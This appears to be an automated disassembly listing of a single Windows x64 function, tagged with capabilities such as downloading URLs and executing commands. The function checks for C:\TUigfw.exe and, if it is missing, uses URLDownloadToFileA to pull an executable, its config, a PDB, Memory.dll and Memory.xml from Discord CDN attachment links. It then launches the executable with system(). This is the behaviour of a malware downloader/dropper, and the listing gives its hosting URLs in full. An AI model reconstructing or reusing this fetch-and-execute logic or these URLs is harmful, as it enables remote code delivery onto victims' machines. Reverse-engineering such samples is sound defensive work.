Function at 0x140042f20
Capabilities:
Check if file exists
Download url
Execute command
Get file attributes
Receive data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
mov rbp, rsp
sub rsp, 0x70
lea rcx, str.C:TUigfw.exe
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140043435
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_ioctlsocket]
movdqu xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [str.TUigfw.exe]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x1400d02f0]
mov word [rbp - 0x38], ax
mov byte [rbp - 0x36], 0
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.14003b560
cmp qword [rax + 0x18], 0xf
jbe 0x140042f98
mov rax, qword [rax]
xor ebx, ebx
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1233622245159604224_1260475145638907905_TUigfw.exe_ex668f7475is668e22f5hm6e811c84af3f1e33ef58044e34e264b36de519ac1b825c190a023b750c541766
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r15d, eax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140042ff5
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140042ff0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140042ff0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
movdqa xmm0, xmmword [0x1400d0710]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], bl
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140043043
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004303e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004303e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x30], xmm1
mov ecx, reloc.WLDAP32.dll_Ordinal_32
call fcn.1400b02c4
mov qword [rbp - 0x40], rax
movdqa xmm0, xmmword [reloc.WS2_32.dll_recvfrom]
movdqu xmmword [rbp - 0x30], xmm0
movups xmm0, xmmword [str.TUigfw.exe.config]
movups xmmword [rax], xmm0
movzx ecx, byte [0x1400d0308]
mov byte [rax + 0x10], cl
mov byte [rax + 0x11], 0
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.14003b560
cmp qword [rax + 0x18], 0xf
jbe 0x14004309c
mov rax, qword [rax]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1233622245159604224_1260475145970122792_TUigfw.exe.config_ex668f7475is668e22f5hm63e17df9081f3a8ff1cbc9e11a5e57db0fce5a8d8a7fe61eb0ef4e007701d11d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov r14d, eax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400430f7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400430f2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400430f2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
movdqa xmm0, xmmword [0x1400d0710]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140043146
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043141
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043141
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_ioctlsocket]
movdqu xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [str.TUigfw.pdb]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x1400d0318]
mov word [rbp - 0x38], ax
mov byte [rbp - 0x36], 0
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.14003b560
cmp qword [rax + 0x18], 0xf
jbe 0x14004318d
mov rax, qword [rax]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1233622245159604224_1260475146356133929_TUigfw.pdb_ex668f7475is668e22f5hm75e35d8420401518a306d4bba4cfa1404f9dfd2b893d789483f354df7c0e746d
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov esi, eax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400431e7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400431e2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400431e2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
movdqa xmm0, xmmword [0x1400d0710]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140043236
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043231
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043231
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_ioctlsocket]
movdqu xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [str.Memory.dll]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x1400d0328]
mov word [rbp - 0x38], ax
mov byte [rbp - 0x36], 0
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.14003b560
cmp qword [rax + 0x18], 0xf
jbe 0x14004327d
mov rax, qword [rax]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1233622245159604224_1260475146842542143_Memory.dll_ex668f7475is668e22f5hm3beecf18bdbf27396f727a1649fa8d8db49087223e4111c7ce8246c397c5c800
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov edi, eax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400432d7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400432d2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400432d2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
movdqa xmm0, xmmword [0x1400d0710]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140043326
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043321
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043321
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
xorps xmm0, xmm0
movups xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [reloc.WS2_32.dll_ioctlsocket]
movdqu xmmword [rbp - 0x30], xmm1
movsd xmm0, qword [str.Memory.xml]
movsd qword [rbp - 0x40], xmm0
movzx eax, word [0x1400d0338]
mov word [rbp - 0x38], ax
mov byte [rbp - 0x36], 0
lea r8, [rbp - 0x40]
lea rcx, [rbp - 0x20]
call fcn.14003b560
cmp qword [rax + 0x18], 0xf
jbe 0x14004336d
mov rax, qword [rax]
mov qword [rsp + 0x20], rbx
xor r9d, r9d
mov r8, rax
lea rdx, str.https:__cdn.discordapp.com_attachments_1233622245159604224_1260475145382789140_Memory.xml_ex668f7475is668e22f5hmd281890982f72a37aa8703d2063e452f39bec679e133e360fa5e8a63503bdb53
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileA]
mov ebx, eax
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x1400433c7
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400433c2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400433c2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
movdqa xmm0, xmmword [0x1400d0710]
movdqu xmmword [rbp - 0x10], xmm0
mov byte [rbp - 0x20], 0
mov rdx, qword [rbp - 0x28]
cmp rdx, 0xf
jbe 0x140043416
inc rdx
mov rcx, qword [rbp - 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140043411
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140043411
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400b0618
test r15d, r15d
js 0x14004342c
test r14d, r14d
js 0x14004342c
test esi, esi
js 0x14004342c
test edi, edi
js 0x14004342c
test ebx, ebx
jns 0x140043435
lea rdx, str.Erro_ao_baixar_arquivos.
jmp 0x14004345d
lea rcx, str.C:TUigfw.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
test eax, eax
jne 0x140043456
lea rdx, str.Execu
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
jmp 0x140043464
lea rdx, str.Erro_ao_executar_o_arquivo.
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.14004f440
lea rdx, [0x14004f620]
mov rcx, rax
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
jmp qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]